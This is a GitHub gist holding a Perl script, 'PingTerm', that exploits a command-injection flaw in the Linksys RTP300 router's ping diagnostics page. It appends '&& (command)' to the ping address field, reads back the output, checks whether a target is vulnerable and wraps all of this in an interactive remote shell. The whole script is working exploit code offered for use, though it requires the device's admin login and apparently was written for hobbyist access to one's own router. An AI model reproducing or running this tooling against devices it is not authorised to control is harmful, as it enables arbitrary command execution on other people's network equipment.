Last active
December 10, 2015 22:09
-
-
Save Elemecca/4500435 to your computer and use it in GitHub Desktop.
PingTerm - a remote shell for the Linksys RTP300 based on the ping tool exploit.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env perl | |
# | |
# pingterm.pl - command-line interface to the ping hack on the RTP300 | |
# | |
# Originally written by Sam Hanes <[email protected]>. | |
# To the extent possible under law, the author has waived all copyright | |
# and related or neighboring rights in this work, which was originally | |
# published in the United States. Attribution is appreciated but not | |
# required. The complete legal text of the release is available at | |
# http://creativecommons.org/publicdomain/zero/1.0/ | |
use warnings; | |
use strict; | |
use LWP::UserAgent (); | |
use HTTP::Request (); | |
use HTML::PullParser (); | |
use URI::Escape qw( uri_escape ); | |
use Term::Readline (); | |
$global::VERSION = "0.0.6"; | |
our $host; | |
our $user; | |
our $pass; | |
our $agent; | |
our $term; | |
our $out; | |
######################################################################## | |
# Subroutines # | |
######################################################################## | |
## Wrapper around readline which handles whitespace. | |
sub prompt ($) { | |
my ($prompt) = @_; | |
our $term; | |
# keep prompting until we get valid input | |
while (defined( $_ = $term->readline( $prompt ) )) { | |
# ignore input containing only whitespace | |
next if (/^\s*$/); | |
# strip leading and trailing whitespace | |
s/^\s+|\s+$//g; | |
return $_; | |
} | |
} | |
## Handles parsing specific to the login page. | |
# @param HTML::PullParser $parser the HTML parser to read from | |
# @return the error message, if present, otherwise undef | |
sub parse_login ($) { | |
my ($parser) = @_; | |
# advance to the message cell | |
while (defined( my $token = $parser->get_token )) { | |
my ($event, $tag) = @{ $token }; | |
next unless ("start" eq $event); | |
next unless ("td" eq $tag); | |
my %attr = %{ $$token[ 2 ] }; | |
last if (($attr{ "id" } || "") eq "uiViewErrorMessage"); | |
} | |
# find the message itself | |
my $message = ""; | |
while (defined( my $token = $parser->get_token )) { | |
my ($event, $value) = @{ $token }; | |
last if ("end" eq $event); | |
$message .= $value if ("text" eq $event && $value =~ /\S/); | |
} | |
if ($message =~ /^Error:\s*(\S.+\S)\s*$/iu) { | |
return $1; | |
} else { | |
return undef; | |
} | |
} | |
## Handles parsing specific to the ping page. | |
# @param HTML::PullParser $parser the HTML parser to read from | |
sub parse_ping ($) { | |
my ($parser) = @_; | |
# advance to the output textarea | |
while (defined( my $token = $parser->get_token )) { | |
my ($event, $tag) = @{ $token }; | |
next unless ("start" eq $event); | |
next unless ("textarea" eq $tag); | |
my %attr = %{ $$token[ 2 ] }; | |
last if (($attr{ "id" } || "") eq "show_diagnostics_ping"); | |
} | |
# extract the textarea's contents | |
my $output = ""; | |
while (defined( my $token = $parser->get_token )) { | |
my ($event, $value) = @{ $token }; | |
last if ("end" eq $event); | |
$output .= $value if ("text" eq $event); | |
} | |
# advance to the command input | |
my $command = ""; | |
while (defined( my $token = $parser->get_token )) { | |
my ($event, $tag) = @{ $token }; | |
next unless ("start" eq $event); | |
next unless ("input" eq $tag); | |
my %attr = %{ $$token[ 2 ] }; | |
if (($attr{ "id" } || "") eq "uiPostPingIPAddress") { | |
$command = $attr{ "value" } || ""; | |
last; | |
} | |
} | |
return ($command, $output); | |
} | |
## Entry point for parsing of all pages. | |
# The device doesn't use redirects, so the only way to tell which | |
# page we actually got is to inspect the title. This function is | |
# responsible for setting up the parser, reading the title, and | |
# handing off to the appropriate page-specific parsing function. | |
# | |
# @param string $content the HTML source to be parsed | |
sub parse_page ($) { | |
my ($content) = @_; | |
our $out; | |
my $parser = HTML::PullParser->new( | |
"doc" => $content, | |
"start" => "event, tagname, attr", | |
"end" => "event, tagname, undef", | |
"text" => "event, dtext, undef", | |
); | |
# advance to the title element | |
while (defined( my $token = $parser->get_token )) { | |
my ($event, $tag) = @{ $token }; | |
next unless ("start" eq $event); | |
last if ("title" eq $tag); | |
} | |
# read the title text | |
my $token = $parser->get_token; | |
if (!defined $token || "text" ne $$token[ 0 ]) { | |
print $out "error: recieved a page without a title\n"; | |
exit 2; | |
} | |
my $title = $$token[ 1 ]; | |
if ("Log In Page" eq $title) { | |
return ("login", parse_login( $parser )); | |
} elsif ("Ping Test" eq $title) { | |
return ("ping", parse_ping( $parser )); | |
} else { | |
print $out "error: recieved a page with" | |
. " the unknown title '$title'\n"; | |
exit 2; | |
} | |
} | |
## Authenticates to the device, prompting the user as necessary. | |
sub login() { | |
our $user; | |
our $pass; | |
our $out; | |
print $out "authentication is required\n"; | |
do { | |
$user = prompt( "user? " ) if (!defined $user); | |
$pass = prompt( "pass? " ) if (!defined $pass); | |
my $response = $agent->post( "http://$host/cgi-bin/webcm", { | |
"security:command/logout" => "", | |
"login:command/username_ja" => $user, | |
"login:command/password_ja" => $pass, | |
"getpage" => "/usr/www_safe/html/admin/ping.html", | |
"errorpage" => "/usr/www_safe/html/admin/ping.html", | |
}); | |
my @result = parse_page( $response->content ); | |
if ("login" eq $result[ 0 ]) { | |
my $msg = $result[ 1 ]; | |
print $out "login failed" | |
. (defined $msg ? ": $msg\n" : "\n"); | |
$user = $pass = undef; | |
} | |
} while (!defined $user || !defined $pass); | |
print $out "authentication successful\n"; | |
} | |
# @param HTTP::Request $request | |
sub request ($) { | |
my ($request) = @_; | |
our ($agent, $out); | |
my @result; | |
do { | |
my $response = $agent->request( $request ); | |
if (!$response->is_success) { | |
print $out "server returned error: " | |
. $response->status_line . "\n" | |
. "that never happens normally\n" | |
. "try rebooting the device\n"; | |
exit 3; | |
} | |
@result = parse_page( $response->content ); | |
login() if ("login" eq $result[ 0 ]); | |
} while ("login" eq $result[ 0 ]); | |
return @result; | |
} | |
## Runs a command on the device via the ping hack. | |
sub run_raw ($) { | |
my ($cmd) = @_; | |
$cmd = "0.0.0.0 && ($cmd)"; | |
# unfortunately we have to do our own urlencoding | |
# we can't change what characters LWP encodes and the device is | |
# remarkably picky on that front, especially about parentheses | |
my @postdata = ( | |
"diagnostics:settings/ping_ip" => $cmd, | |
"diagnostics:settings/ping_size" => "56", | |
"diagnostics:settings/ping_num" => "1", | |
"diagnostics:settings/ping_state" => "1", | |
"getpage" => "/usr/www_safe/html/admin/ping.html", | |
"errorpage" => "/usr/www_safe/html/admin/ping.html", | |
); | |
# URL-encode everything except for alphanumerics and spaces | |
map { $_ = uri_escape( $_, "^A-Za-z0-9._ " ) } @postdata; | |
# replace spaces with plus signs | |
map tr/ /+/, @postdata; | |
# join the key-value pairs into a query string | |
my %postdata = @postdata; | |
my $query = join( '&', (map "$_=$postdata{ $_ }", keys( %postdata )) ); | |
my @result = request( HTTP::Request->new( | |
"POST", "http://$host/cgi-bin/webcm", [ | |
"Content-Type" => "application/x-www-form-urlencoded" | |
], $query | |
)); | |
if ($result[ 1 ] ne $cmd) { | |
print $out "!! command rejected by device\n"; | |
return undef; | |
} | |
my $request = HTTP::Request->new( "GET", | |
"http://$host/cgi-bin/webcm" | |
. "?getpage=/usr/www_safe/html/admin/ping.html", | |
); | |
for (my $count = 0; $count < 20 | |
&& $result[ 2 ] !~ /\S/; $count++) { | |
sleep 1; | |
@result = request( $request ); | |
} | |
return $result[ 2 ]; | |
} | |
######################################################################## | |
# Executable Body # | |
######################################################################## | |
# parse command-line arguments | |
if ($#ARGV == -1) { | |
$host = undef; | |
} elsif ($#ARGV == 0) { | |
$host = $ARGV[ 0 ]; | |
} else { | |
print STDERR "usage: pingterm [host]\n"; | |
exit 1; | |
} | |
# set up an LWP agent | |
$agent = LWP::UserAgent->new( | |
'agent' => "rtp300-pingterm/$global::VERSION ", | |
'requests_redirectable' => [] | |
); | |
# set up ReadLine for terminal handling | |
$term = Term::ReadLine->new( 'RTP300 PingTerm' ); | |
$out = $term->OUT; | |
# connect to device and run a test command | |
$host = prompt( "host? " ) if (!defined $host); | |
print $out "checking whether the ping hack works...\n"; | |
my $check = run_raw( "echo test" ); | |
if (!defined $check || "test\n" ne $check) { | |
print $out "check failed; device is probably not vulnerable\n"; | |
exit 3; | |
} else { | |
print $out "everything looks OK\n"; | |
} | |
while (defined( my $input = prompt( "$host # " ) )) { | |
# add the command to the history buffer | |
$term->addhistory( $input ); | |
# handle special commands | |
if ($input =~ /^!/) { | |
my @args = split /\s/, $input; | |
my $cmd = substr( shift( @args ), 1 ); | |
if ($cmd eq "quit") { | |
last; | |
} else { | |
print $out "!! invalid special command '$cmd'\n"; | |
} | |
} | |
# handle remote commands | |
else { | |
my $output = run_raw( $input ); | |
if (defined $output) { | |
chomp $output; | |
print "$output\n"; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment